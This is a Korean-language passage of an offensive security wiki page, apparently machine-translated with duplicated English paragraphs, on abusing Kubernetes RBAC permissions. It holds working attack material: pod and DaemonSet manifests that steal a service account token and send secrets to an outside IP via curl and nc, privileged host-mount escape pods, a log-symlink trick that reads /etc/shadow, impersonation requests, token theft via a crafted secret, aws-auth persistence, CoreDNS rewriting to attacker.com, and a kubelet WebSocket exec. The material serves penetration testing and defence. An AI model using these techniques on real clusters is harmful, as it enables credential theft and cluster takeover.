Kubernetes에서 Roles/ClusterRoles 오용

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

여기에는 잠재적으로 위험한 Roles 및 ClusterRoles 구성들이 있습니다.
kubectl api-resources로 모든 지원 리소스를 확인할 수 있다는 것을 기억하세요.

Privilege Escalation

클러스터 내에서 현재 가진 것과 다른 권한을 가진 다른 principal에 접근하는 기술을 의미합니다(클러스터 내부 또는 외부 클라우드에 대해). Kubernetes에서는 기본적으로 권한을 상승시키기 위한 다음의 4가지 주요 기법이 있습니다:

  • 더 높은 권한을 가진 다른 user/groups/SAs를 impersonate 할 수 있음 (Kubernetes 클러스터 내 또는 외부 클라우드에 대해)
  • 더 높은 권한을 가진 SAs를 find or attach SAs 할 수 있는 곳에 create/patch/exec pods 할 수 있음 (Kubernetes 클러스터 내 또는 외부 클라우드에 대해)
  • SAs 토큰이 secrets로 저장되어 있으므로 read secrets 할 수 있음
  • 컨테이너에서 escape to the node 할 수 있어, 노드에서 실행 중인 컨테이너들의 모든 secrets, 노드의 credentials, 그리고 (해당되는 경우) 그 노드가 실행 중인 클라우드에서의 권한을 훔칠 수 있음
  • 다섯번째로 언급할 만한 기법은 pod 내에서 run port-forward 할 수 있는 능력으로, 이를 통해 해당 pod 내부의 흥미로운 리소스에 접근할 수 있음

Access Any Resource or Verb (Wildcard)

wildcard (*)는 어떤 리소스에 대해서든 어떤 verb에 대해서도 권한을 부여합니다. 관리자가 주로 사용합니다. ClusterRole 내부에서는 이는 공격자가 클러스터 내의 어떤 namespace든 악용할 수 있다는 것을 의미합니다.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

특정 동사로 모든 리소스에 접근

RBAC에서는 특정 권한이 심각한 위험을 초래합니다:

  1. create: 클러스터의 모든 리소스를 생성할 수 있는 권한을 부여하며, privilege escalation을 초래할 수 있습니다.
  2. list: 모든 리소스를 나열할 수 있게 하여 민감한 데이터를 leak할 수 있습니다.
  3. get: service accounts로부터 secrets에 접근할 수 있게 하여 보안 위협을 초래합니다.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Pod 생성 권한이 있는 공격자는 특권이 부여된 Service Account를 pod에 연결해 해당 토큰을 탈취하고 그 Service Account로 가장할 수 있습니다. 결과적으로 권한이 상승됩니다.

다음은 bootstrap-signer service account의 토큰을 탈취해 공격자에게 전송하는 pod의 예입니다:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

다음은 container가 가질 수 있는 모든 권한을 나타냅니다:

  • Privileged access (보호 기능을 비활성화하고 capabilities를 설정)
  • Disable namespaces hostIPC and hostPid (권한 상승에 도움이 될 수 있음)
  • Disable hostNetwork namespace (nodes의 cloud privileges를 탈취하고 네트워크에 더 잘 접근할 수 있음)
  • Mount hosts / (container 내부에 호스트의 / 를 마운트)
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

다음 내용으로 pod를 생성하세요:

kubectl --token $token create -f mount_root.yaml

this tweet에서 가져온 원라이너와 몇 가지 추가사항:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

이제 node로 탈출할 수 있으니 다음에서 post-exploitation techniques를 확인하세요:

Stealth

아마도 더 stealthier 하고 싶을 것입니다. 아래 페이지들에서는 이전 템플릿에서 언급한 권한 중 일부만 활성화하여 pod를 생성할 경우 접근할 수 있는 항목들을 확인할 수 있습니다:

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

이전 템플릿의 권한 있는 pods 구성들을 생성/악용하는 예시는 https://github.com/BishopFox/badPods

Pod Create - Move to cloud

만약 create a pod (및 선택적으로 a service account)할 수 있다면, assigning cloud roles to a pod or a service account하고 접근함으로써 obtain privileges in cloud environment할 수 있습니다.
또한, pod with the host network namespace를 생성할 수 있다면 steal the IAM role of the node instance 할 수 있습니다.

For more information check:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

이 권한들을 남용하여 create a new pod하고 이전 예시처럼 권한을 상승시킬 수 있습니다.

The following yaml creates a daemonset and exfiltrates the token of the SA inside the pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

**pods/exec**는 kubernetes에서 pod 안의 shell에서 명령을 실행하는 데 사용되는 리소스입니다. 이는 containers 내부에서 명령을 실행하거나 shell을 얻을 수 있게 합니다.

따라서 pod에 들어가 SA의 token을 탈취할 수 있거나, privileged pod에 진입해 node로 탈출하여 node에 있는 pod들의 모든 token을 탈취하고 node를 (ab)use할 수 있습니다:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

Note

기본적으로 명령은 포드의 첫 번째 컨테이너에서 실행됩니다. 포드 내의 모든 컨테이너 이름을 얻으려면 kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' 를 사용하고, 그런 다음 실행하려는 컨테이너를 kubectl exec -it <pod_name> -c <container_name> -- sh 로 지정하세요.

If it’s a distroless container you could try using shell builtins to get info of the containers or uplading your own tools like a busybox using: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

This permission allows to forward one local port to one port in the specified pod. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

As indicated in this research, if you can access or create a pod with the hosts /var/log/ directory mounted on it, you can escape from the container.
이는 기본적으로 Kube-API tries to get the logs 할 때 발생합니다. 컨테이너의 로그를 가져오기 위해 (kubectl logs <pod> 사용) Kube-API는 Kubelet 서비스의 /logs/ 엔드포인트를 이용해 해당 pod의 0.log 파일을 requests the 0.log 합니다.
Kubelet 서비스는 /logs/ 엔드포인트를 노출하고 있으며, 이는 사실상 컨테이너의 /var/log 파일시스템을 exposing the /var/log filesystem of the container 하는 것입니다.

따라서 컨테이너의 /var/log/ 폴더에 access to write in the /var/log/ folder 권한이 있는 공격자는 이 동작을 다음 두 가지 방식으로 악용할 수 있습니다:

  • Modifying the 0.log file of its container (usually located in /var/logs/pods/namespace_pod_uid/container/0.log) to be a symlink pointing to /etc/shadow for example. Then, you will be able to exfiltrate hosts shadow file doing:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • 공격자가 permissions to read nodes/log 권한을 가진 어떤 principal을 제어한다면, 그는 /host-mounted/var/log/sym/를 가리키는 symlink를 생성할 수 있고, https://<gateway>:10250/logs/sym/에 접근할 때 호스트의 루트 파일시스템이 나열됩니다 (symlink를 변경하면 파일에 접근할 수 있습니다).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

다음에서 실험실과 자동화된 exploit을 확인할 수 있습니다 https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

readOnly 보호 우회

운이 좋게도 고권한 capability CAP_SYS_ADMIN이 사용 가능하면, 해당 폴더를 rw로 다시 마운트할 수 있습니다:

mount -o rw,remount /hostlogs/

hostPath readOnly 보호 우회

해당 this research에서 설명한 것처럼, 보호를 우회할 수 있습니다:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

이는 이전과 같은 탈출을 방지하기 위해 hostPath mount 대신 PersistentVolume과 PersistentVolumeClaim을 사용하여 container에 writable access로 hosts folder를 mount하도록 한 것이다:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

권한 있는 계정 가장하기

user impersonation 권한이 있으면 공격자는 권한 있는 계정으로 가장할 수 있습니다.

사용자 계정을 가장하려면 kubectl 명령에서 --as=<username> 파라미터를 사용하고, 그룹을 가장하려면 --as-group=<group>을 사용하세요:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

또는 REST API를 사용하세요:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

시크릿(Secrets) 나열

권한이 REST API 엔드포인트에 접근할 때 list secrets 권한은 공격자가 실제로 시크릿을 읽을 수 있도록 허용할 수 있습니다:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Secret 생성 및 읽기

특정 유형의 Kubernetes secret인 kubernetes.io/service-account-token은 serviceaccount 토큰을 저장합니다. 만약 secret을 생성하고 읽을 수 있는 권한이 있고, 대상 serviceaccount의 이름을 알고 있다면, 다음과 같이 secret을 생성한 후 그 안에서 피해자 serviceaccount의 토큰을 탈취할 수 있습니다:

apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

예시 exploitation:

$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.

secret 읽기 – brute-forcing token IDs

읽기 권한이 있는 token을 보유한 공격자는 secret을 사용하기 위해 정확한 secret 이름이 필요하지만, 보다 광범위한 listing secrets 권한과 달리 여전히 취약점이 존재합니다. 시스템의 기본 service accounts는 열거할 수 있으며, 각 계정은 secret과 연결되어 있습니다. 이들 secret은 이름 구조가 정해져 있는데: 정적 접두사 뒤에 특정 문자를 제외한 랜덤한 다섯 글자의 영숫자 토큰이 붙습니다(자세한 내용은 source code 참조).

토큰은 전체 영숫자 범위가 아닌 제한된 27자 집합(bcdfghjklmnpqrstvwxz2456789)에서 생성됩니다. 이 제한으로 가능한 조합 수는 14,348,907(27^5)로 줄어듭니다. 결과적으로 공격자는 수 시간 내에 brute-force attack으로 토큰을 유추할 수 있으며, 민감한 service accounts에 접근하여 권한 상승으로 이어질 수 있습니다.

EncrpytionConfiguration in clear text

이 유형의 객체에서 휴지 상태 데이터(data at rest)를 암호화하는 평문 키를 찾을 수 있습니다. 예:

# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

인증서 서명 요청

리소스 certificatesigningrequestscreate 권한이 있거나(또는 적어도 certificatesigningrequests/nodeClient에 있다면), 새 노드CSR을 생성할 수 있습니다.

According to the documentation it’s possible to auto approve this requests, so in that case you don’t need extra permissions. 그렇지 않은 경우에는 요청을 승인할 수 있어야 하며, 이는 certificatesigningrequests/approval에 대한 update 권한과 signers에서 resourceName이 <signerNameDomain>/<signerNamePath> 또는 <signerNameDomain>/*approve 권한을 의미합니다.

다음은 필요한 모든 권한을 가진 역할의 예는 다음과 같습니다:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

따라서 새 node CSR이 승인되면 노드의 특수 권한을 이용해 abuse하여 steal secretsescalate privileges할 수 있습니다.

In this post and this one the GKE K8s TLS Bootstrap 구성은 automatic signing으로 설정되어 있으며, 이를 악용해 새로운 K8s Node의 자격 증명을 생성하고 그 자격 증명을 이용해 escalate privileges by stealing secrets.
If you 언급된 권한을 가지고 있다면 동일하게 수행할 수 있습니다. 첫 번째 예제는 새로운 node가 컨테이너 내부의 secrets에 접근하지 못하도록 하는 오류를 우회하는데, 그 이유는 node can only access the secrets of containers mounted on it.

이를 우회하는 방법은 단순히 create a node credentials for the node name where the container with the interesting secrets is mounted 하는 것입니다 (자세한 방법은 첫 번째 포스트를 확인하세요):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

EKS(클러스터가 AWS에 있어야 함)의 kube-system 네임스페이스에서 **configmaps**를 수정할 수 있는 주체는 aws-auth configmap을 덮어써서 클러스터 관리자 권한을 획득할 수 있습니다.
필요한 동사(verbs)는 **update**와 **patch**이며, configmap이 생성되지 않은 경우 **create**입니다:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Warning

다른 계정의 사용자들에게 접근 권한을 부여하기 위해 **aws-auth**을 사용해 persistence를 설정할 수 있습니다.

하지만 aws --profile other_account eks update-kubeconfig --name <cluster-name>는 다른 계정에서는 동작하지 않습니다. 그러나 클러스터 이름 대신 ARN을 넣으면 aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing는 작동합니다.
kubectl을 작동시키려면 configurevictims kubeconfig를 사용하고 aws exec 인자에 --profile other_account_role를 추가하여 kubectl이 다른 계정 프로필로 토큰을 가져와 AWS에 접속하도록 하면 됩니다.

CoreDNS config map

권한이 있어 kube-system 네임스페이스의 coredns configmap을 수정할 수 있다면, 도메인이 해석되는 주소를 변경하여 MitM 공격을 수행하고 민감한 정보를 훔치거나 악성 콘텐츠를 주입하는 것이 가능합니다.

필요한 verbs는 **update**와 **patch**이며 대상은 coredns configmap(또는 모든 config maps)입니다.

A regular coredns file contains something like this:

data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

An attacker could download it running kubectl get configmap coredns -n kube-system -o yaml, modify it adding something like rewrite name victim.com attacker.com so whenever victim.com is accessed actually attacker.com is the domain that is going to be accessed. And then apply it running kubectl apply -f poison_dns.yaml.

공격자는 kubectl get configmap coredns -n kube-system -o yaml를 실행해 해당 리소스를 다운로드한 뒤, rewrite name victim.com attacker.com 같은 항목을 추가하여 victim.com에 접근할 때 실제로는 attacker.com이 접속되도록 수정할 수 있습니다. 그런 다음 kubectl apply -f poison_dns.yaml를 실행해 적용합니다.

Another option is to just edit the file running kubectl edit configmap coredns -n kube-system and making changes.

또 다른 방법은 kubectl edit configmap coredns -n kube-system를 실행해 파일을 직접 편집하는 것입니다.

Escalating in GKE

GKE에서의 권한 상승

There are 2 ways to assign K8s permissions to GCP principals. In any case the principal also needs the permission container.clusters.get to be able to gather credentials to access the cluster, or you will need to generate your own kubectl config file (follow the next link).

K8s 권한을 GCP principal에 할당하는 방법은 2가지가 있습니다. 어떤 경우든 principal(주체)은 클러스터 접근에 필요한 자격증명을 수집하기 위해 container.clusters.get 권한이 필요하거나, 아니면 자신의 kubectl config 파일을 생성해야 합니다 (다음 링크를 따르세요).

Warning

When talking to the K8s api endpoint, the GCP auth token will be sent. Then, GCP, through the K8s api endpoint, will first check if the principal (by email) has any access inside the cluster, then it will check if it has any access via GCP IAM.
If any of those are true, he will be responded. If not an error suggesting to give permissions via GCP IAM will be given.

Warning

K8s api endpoint와 통신할 때, GCP auth token이 전송됩니다. 그런 다음 GCP는 K8s api endpoint를 통해 먼저 principal(이메일)에 클러스터 내부 접근 권한이 있는지 확인하고, 그다음 GCP IAM을 통한 접근 권한이 있는지 확인합니다.
만약 그 중 어느 하나라도 참이면 응답이 반환됩니다. 그렇지 않으면 GCP IAM을 통해 권한을 부여하라는 오류가 표시됩니다.

Then, the first method is using GCP IAM, the K8s permissions have their equivalent GCP IAM permissions, and if the principal have it, it will be able to use it.

첫 번째 방법은 GCP IAM을 사용하는 것입니다. K8s 권한은 대응되는 GCP IAM 권한이 있으며, principal이 해당 권한을 가지고 있으면 이를 사용할 수 있습니다.

GCP - Container Privesc

The second method is assigning K8s permissions inside the cluster to the identifying the user by its email (GCP service accounts included).

두 번째 방법은 클러스터 내부에서 사용자를 이메일로 식별하여 K8s 권한을 할당하는 것입니다 (GCP service accounts 포함).

Create serviceaccounts token

serviceaccounts 토큰 생성

Principals that can create TokenRequests (serviceaccounts/token) When talking to the K8s api endpoint SAs (info from here).

TokenRequests (serviceaccounts/token)를 생성할 수 있는 principal들. K8s api endpoint와 관련된 SAs 정보는 here에서 확인하세요.

ephemeralcontainers

ephemeralcontainers

Principals that can update or patch pods/ephemeralcontainers can gain code execution on other pods, and potentially break out to their node by adding an ephemeral container with a privileged securityContext

**pods/ephemeralcontainers**를 update 또는 **patch**할 수 있는 principal은 다른 파드에서 코드 실행을 획득할 수 있으며, privileged securityContext를 가진 ephemeral container를 추가하여 노드로의 탈출을 시도할 수 있습니다.

ValidatingWebhookConfigurations or MutatingWebhookConfigurations

ValidatingWebhookConfigurations 또는 MutatingWebhookConfigurations

Principals with any of the verbs create, update or patch over validatingwebhookconfigurations or mutatingwebhookconfigurations might be able to create one of such webhookconfigurations in order to be able to escalate privileges.

validatingwebhookconfigurations 또는 mutatingwebhookconfigurations에 대해 create, update, patch 중 하나라도 허용된 principal은 해당 webhookconfiguration을 생성하여 권한 상승을 시도할 수 있습니다.

For a mutatingwebhookconfigurations example check this section of this post.

Escalate

권한 상승

As you can read in the next section: Built-in Privileged Escalation Prevention, a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the verb escalate or * over roles or clusterroles and the respective binding options.
Then he can update/create new roles, clusterroles with better permissions than the ones he has.

다음 섹션: Built-in Privileged Escalation Prevention에서 설명한 것처럼, principal은 자신에게 해당 권한이 없으면 roles 또는 clusterroles를 생성하거나 업데이트할 수 없습니다. 단, roles 또는 clusterroles에 대해 동사 escalate 또는 * 및 해당 바인딩 옵션을 가진 경우는 예외입니다.\ 이 경우 그는 자신이 가진 것보다 더 높은 권한을 가진 roles/clusterroles를 생성하거나 업데이트할 수 있습니다.

Nodes proxy

Nodes proxy

Principals with access to the nodes/proxy subresource can execute code on pods via the Kubelet API (according to this). More information about Kubelet authentication in this page:

nodes/proxy 서브리소스에 접근할 수 있는 principal은 Kubelet API를 통해 파드에서 코드 실행을 할 수 있습니다 (자세한 내용은 this 참조). Kubelet 인증에 대한 자세한 정보는 다음 페이지를 확인하세요:

Kubelet Authentication & Authorization

nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion

nodes/proxy GET -> Kubelet /exec via WebSocket 동사 혼동

  • Kubelet maps HTTP methods to RBAC verbs before protocol upgrade. WebSocket handshakes must start with HTTP GET (Connection: Upgrade), so /exec over WebSocket is checked as verb get instead of the expected create.

  • /exec, /run, /attach, and /portforward are not explicitly mapped and fall into the default proxy subresource, so the authorization question becomes can <user> get nodes/proxy?

  • If a token only has nodes/proxy + get, direct WebSocket access to the kubelet on https://<node_ip>:10250 allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (/api/v1/nodes/<node>/proxy/exec/...) is denied because it is a normal HTTP POST and maps to create.

  • The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated.

  • Kubelet은 프로토콜 업그레이드 이전에 HTTP 메서드를 RBAC 동사로 매핑합니다. WebSocket 핸드셰이크는 반드시 HTTP GET (Connection: Upgrade)으로 시작해야 하므로, WebSocket을 통한 /exec는 기대되는 create 대신 **동사 get**으로 체크됩니다.

  • /exec, /run, /attach, /portforward는 명시적으로 매핑되지 않아 기본 proxy 서브리소스로 처리되므로 권한 검사 질문은 **can <user> get nodes/proxy?**가 됩니다.

  • 토큰에 **nodes/proxy + get**만 있는 경우, https://<node_ip>:10250로 kubelet에 대한 직접 WebSocket 접근은 해당 노드의 어떤 파드에서도 임의 명령 실행을 허용합니다. 반면 API 서버 프록시 경로(/api/v1/nodes/<node>/proxy/exec/...)를 통한 동일한 요청은 일반 HTTP POST로 처리되어 create로 매핑되므로 거부됩니다.

  • kubelet은 WebSocket 업그레이드 이후에 추가적인 권한 검사를 수행하지 않습니다; 초기 GET만 평가됩니다.

Direct exploit (requires network reachability to the kubelet and a token with nodes/proxy GET):

직접 익스플로잇(요구사항: kubelet에 대한 네트워크 접근성 및 nodes/proxy GET 권한을 가진 토큰):

kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
  • 노드 이름이 아니라 Node IP를 사용하세요. 동일한 요청을 curl -X POST로 하면 create에 매핑되기 때문에 Forbidden가 됩니다.
  • kubelet에 직접 접근하면 API server를 우회하므로 AuditPolicy는 kubelet user agent의 subjectaccessreviews만 표시하며 pods/exec를 기록하지 않습니다.
  • 탐지 스크립트로 영향받는 서비스 계정들을 열거하여 nodes/proxy GET으로 제한된 토큰을 찾으세요.

pods 삭제 + 스케줄링 불가능한 nodes

다음 권한을 가진 principals는, pod를 제어할 수 있는 경우, 다른 노드의 pods를 훔쳐와 취약한 node에서 실행되게 하고 공격자가 해당 pods로부터 토큰을 훔칠 수 있습니다: delete pods (delete verb over pods resource), evict pods (create verb over pods/eviction resource), change pod status (access to pods/status) 및 다른 노드를 unschedulable로 만들 수 있는 권한 (access to nodes/status) 또는 delete nodes (delete verb over nodes resource).

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Services 상태 (CVE-2020-8554)

